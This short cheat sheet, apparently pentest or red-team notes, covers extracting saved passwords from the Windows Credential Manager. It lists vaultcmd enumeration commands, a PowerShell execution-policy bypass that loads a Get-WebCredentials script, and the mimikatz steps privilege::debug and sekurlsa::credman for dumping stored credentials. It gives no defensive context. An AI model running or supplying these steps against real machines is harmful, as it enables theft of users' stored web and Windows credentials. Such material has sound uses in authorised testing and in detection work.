Credentials Manager

GUI

Control Panel -> User accounts -> Credential Manager

CMD

1)

vaultcmd /list

2)

vaultcmd /listproperties:"Web Credentials" or "Windows Credentials"

3)

vaultcmd /listcreds:"Web Credentials or "Windows Credentials"

4)

Powershell.exe -ex bypass

5)

Import-Module c:\tools\Get-WebCredentials.ps1

6)

Get-WebCredentials.ps1

MIMIKATZ

1)

mimikatz

2)

privilege::debug

3)

sekurlsa::credman